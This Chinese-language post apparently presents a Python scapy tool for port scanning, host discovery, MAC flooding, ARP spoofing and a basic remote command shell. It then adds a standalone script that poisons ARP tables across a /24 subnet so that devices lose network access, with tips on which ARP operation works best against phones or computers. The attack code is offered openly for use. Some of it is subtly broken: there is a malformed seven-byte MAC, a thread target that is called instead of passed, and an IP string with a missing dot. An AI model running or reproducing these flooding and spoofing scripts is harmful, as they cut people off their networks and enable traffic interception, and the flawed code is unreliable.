通过scapy与socket编写
端口扫描,
主机存活扫描,
mac泛洪,
arp欺骗,
服务器,客户端通信
支持从文件导入ip和手动输入ip
输入支持
a,b某几个ip,port
a-b,某个范围ip,port
1.2.3.0/24 某一个网段
'''
TCP扫描和UDP扫描
UDP扫描先要判断主机是否存活
TCP扫描有两种,通过socket连接扫描和通过SYN半开放扫描
可以通过文件或者输入指定扫描的ip和端口
python3 port_scan
-f filename 指定ip文件名
-i ip 指定*个ip或者一个网段
-p 指定端口,或者端口文件名
-u UDP
-sS TCPSYN扫描
-sT TCP全连接扫描
'''
import sys
import os
import socket
import re
from threading import Thread
from optparse import OptionParser
from scapy.all import *
def TCP_Connect_Port(ip,port):
try:
c=socket.socket()
c.connect((ip,port))
print("{}:{} online(TCP)".format(ip,port))
except:
print("{}:{} not online(TCP)".format(ip,port))
def TCP_Port(ip,port):
try:
tcp=IP(dst=ip)/TCP(dport=port,flags='S')
pkt=sr1(tcp,timeout=1,verbose=0)
if pkt[TCP].flags == 'SA':
print(ip+':'+str(port)+' online(TCP)')
return
else:
print(ip+':'+str(port)+' not online(TCP)')
except Exception as error:
return
def UDP_Port(ip,port):
try:
udp=IP(dst=ip)/UDP(dport=port)
pkt=sr1(udp,timeout=1,verbose=0)
if not pkt:
print(ip+':'+str(port)+' online(UDP)')
return
if pkt[IP].proto==1:
print(ip+':'+' not online(UDP)')
return
except Exception as error:
print(error)
return
def PORT_Handle(port):
store=[]
if len(port.split('-'))==2:
for i in range(int(port.split('-')[0]),int(port.split('-')[1])+1):
store.append(i)
return store
if len(port.split(','))==1:
store.append(int(port))
return store
if len(port.split(','))>=2:
for i in range(0,len(port.split(','))):
store.append(int(port.split(',')[i]))
return store
def IP_Handle(ip):
store=[] # 10.102.0.1-10.102.0.2, 10.102.0.1/24 , 10.102.0.1,10.102.0.1
prefix=ip.split('.')[0]+'.'+ip.split('.')[1]+'.'+ip.split('.')[2]+'.'
if len(ip.split(','))>=2:
for i in ip.split(','):
store.append(i)
return store
if ip.split('-'):
for i in ip.split('-'):
store.append(i)
return store
if ip.split('/'):
prefix = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.'
for i in range(1,256):
store.append(prefix+str(i))
return store
def ARP_Alive(ip): #本机抓不到发出去的包,但是能抓到回复
try:
pkt=Ether(dst='ff:ff:ff:ff:ff:ff:ff')/ARP(hwdst='00:00:00:00:00:00:00',op=1,pdst=ip)
result=sr1p(pkt,timeout=1,verbose=0)
if result:
print(ip+' online')
else:
print(ip+' not online')
return
except Exception as error:
return
def PING_Alive(ip): #icmp(ping)
try:
pkt=IP(dst=ip)/ICMP()
result=sr1(pkt,verbose=0,timeout=1)
if result:
print(ip+' online')
else:
print(ip+' not online')
return
except:
return
def TCP_Alive(ip):
try:
pkt=IP(dst=ip)/TCP(dport=RandShort(),flags='A')
result=sr1(pkt,verbose=0,timeout=1)
if result[TCP].flags=='R':
print(ip+' online')
return
else:
print(ip+' not online')
return
except Exception as error:
return
def UDP_Alive(ip):
try:
pkt=IP(dst=ip)/UDP(dport=RandShort())
result=sr1(pkt,verbose=0,timeout=1)
if result[IP].proto==1:
print(ip+' online')
return
else:
print(ip+' not online')
return
except:
return
def ARP_Spoof(ip,gateway):
try:
while True:
pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip,psrc=gateway)
sendp(pkt,verbose=0)
except KeyboardInterrupt:
print('ARP_Spoof Over!')
def MAC_Floor(): #本机抓不到包,测试失败
pkt=Ether(dst=RandMAC(),src=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
try:
sendp(pkt,inter=0.1,count=10000,loop=1)
return
except:
return
def Shell(client):
while True:
text=client.recv(10240).strip()
if text == b'exit':
client.sendall(b'exit')
break
if not text:
break
print(text)
command=input('your input:')
command=bytes(command,'ascii')
client.sendall(command)
print('Connect Close!')
client.close()
def SHELL_Server(ip, port):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(((ip,port)))
s.listen(3) #最多3个排队的
while True:
try:
client,addr=s.accept()
print('Connected by '+addr[0])
t=Thread(target=Shell,args=(client,))
t.start()
except KeyboardInterrupt : #这里的线程问题不知道怎么解决,当一个连接退出后,会卡在connect close,当使用ctrl+c中断后,会卡住,如果又有申请的连接,才会显示服务器关闭
break
print('Server Close!')
s.close()
def SHELL_Client(ip,port):
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
while True :
text=input('please input:')
text=bytes(text,'ascii')
s.sendall(text)
rec=s.recv(10240)
if not rec :
continue
if text==b'exit':
break
print(rec)
s.close()
except :
print('Connection reset by server!')
def main():
usa='Usage: %prog -f <filename> | %prog -i <ip>\n%prog -p <port>\n%prog -sS | -sC | -u'
pars=OptionParser(usage=usa)
pars.add_option('-f',type='string',dest='filename',help='ip file')
pars.add_option('-i',type='string',dest='ip',help='ip *.*.*.0/24')
pars.add_option('-p',type='string',dest='port',help='port')
pars.add_option('--arp',type='string',dest='ARP_alive',help='arp_alive')
pars.add_option('--ping',type='string',dest='PING',help='ping_alive')
pars.add_option('--th',type='string',dest='TCP_alive',help='tcp_alive')
pars.add_option('--uh',type='string',dest='UDP_alive',help='udp_alive')
pars.add_option('-u',action='store_true',dest='udp',help='udp')
pars.add_option('--sS',action='store_true',dest='TCP_syn',help='tcp syn')
pars.add_option('--sC',action='store_true',dest='TCP_connect',help='tcp connect')
pars.add_option('--mf',action='store_true',dest='MAC_floor',help='mac floor')
pars.add_option('--as',type='string',dest='ARP_spoof',help='arp_spoof')
pars.add_option('--SS',type='string',dest='SHELL_server',help='shell_server')
pars.add_option('--SC',type='string',dest='SHELL_client',help='shell_client')
(options,args)=pars.parse_args()
ip=options.ip
filename=options.filename
port=options.port
ARP_alive=options.ARP_alive
PING_alive=options.PING
UDP_alive=options.UDP_alive
TCP_alive=options.TCP_alive
udp=options.udp
TCP_syn=options.TCP_syn
TCP_connect=options.TCP_connect
MAC_floor=options.MAC_floor
ARP_spoof=options.ARP_spoof
SHELL_server=options.SHELL_server
SHELL_client=options.SHELL_client
# print(port)
# print(port.split(','))
# print(type(port.split(',')))
# test=[]
# print(type(int(port)))
# print(port.split(','))
# test.append(int(port.split(',')[0]))
# print(test)
if ((port and filename or ip) and (udp or TCP_syn or TCP_connect)) or ((filename or ip) and (ARP_alive or UDP_alive or TCP_alive or PING_alive or ARP_alive)) or MAC_floor or ARP_spoof or (SHELL_client or SHELL_server):
if port:
port=PORT_Handle(port) #返回一个列表
if filename:
if os.path.exists(filename):
if udp:
f= open(filename,'r')
for i in f.readlines():
addr = i.strip()
for j in port:
t=Thread(target=UDP_Port,args=(addr,j))
t.start()
elif TCP_syn:
f= open(filename,'r')
for i in f.readlines():
addr = i.strip()
for j in port:
t=Thread(target=TCP_Port,args=(addr,j))
t.start()
elif TCP_connect:
f= open(filename,'r')
for i in f.readlines():
addr = i.strip()
for j in port:
t=Thread(target=TCP_Connect_Port,args=(addr,j))
t.start()
elif PING_alive:
f=open(filename,'r')
for i in f.readlines():
addr=i.strip()
t=Thread(target=PING_Alive,args=(addr,))
t.start()
elif UDP_alive:
f=open(filename,'r')
for i in f.readlines():
addr=i.strip()
t=Thread(target=UDP_Alive,args=(addr,))
t.start()
elif TCP_alive:
f=open(filename,'r')
for i in f.readlines():
addr=i.strip()
t=Thread(target=TCP_Alive,args=(addr,))
t.start()
elif ARP_alive:
f=open(filename,'r')
for i in f.readlines():
addr=i.strip()
t=Thread(target=ARP_Alive,args=(addr,))
t.start()
else:
sys.exit('Filename not Exist!')
elif ip:
ip=IP_Handle(ip)#返回一个ip列表
if udp:
for i in ip:
for j in port:
t=Thread(target=UDP_Port,args=(i,j))
t.start()
elif TCP_syn:
for i in ip:
for j in port:
t = Thread(target=TCP_Port,args=(i, j))
t.start()
elif TCP_connect:
for i in ip:
for j in port:
t = Thread(target=TCP_Connect_Port(),args=(i, j))
t.start()
elif PING_alive:
for i in ip:
t = Thread(target=PING_Alive, args=(i,))
t.start()
elif UDP_alive:
for i in ip:
t = Thread(target=UDP_Alive, args=(i,))
t.start()
elif TCP_alive:
for i in ip:
t = Thread(target=TCP_Alive, args=(i,))
t.start()
elif ARP_alive:
for i in ip:
t = Thread(target=ARP_Alive, args=(i,))
t.start()
else:
sys.exit('Wrong Format!')
elif MAC_floor:
while True:
MAC_Floor()
elif ARP_spoof:
ip=ARP_spoof.split(',')[0]
gateway=ARP_spoof.split(',')[1]
ARP_Spoof(ip,gateway)
elif SHELL_server:
ip=SHELL_server.split(',')[0]
port=int(SHELL_server.split(',')[1])
SHELL_Server(ip,port)
elif SHELL_client:
ip = SHELL_client.split(',')[0]
port = int(SHELL_client.split(',')[1])
SHELL_Client(ip, port)
else:
sys.exit('-h to help!')
else:
sys.exit('Lack Param!')
if __name__ =='__main__':
main()
arp全网段欺骗
可以造成局域网断网,ARP表被修改,ARP欺骗
from scapy.all import *
from threading import Thread
def arp(ip):
while True:
pkt1=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc='10.102.0.1',pdst=ip,op=1)
pkt2=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc='10.102.0.1',pdst=ip,op=2)
#对于手机来说,op=1,好用,对电脑来说op=2才有效
#电脑可以同时接受两个包,但是手机使用2只能造成网络不稳定,但是1可以造成断网。同时使用不产生影响
sendp(pkt1)
sendp(pkt2)
time.sleep(0.2)
for i in range(2,255):
string='10.102.0'+str(i)
t=Thread(target=arp,args=(string,))
t.start()
这里的ip写死了,可以自己修改,也可以用sys或者optparse写成脚本
#不同的op对手机和电脑的影响不同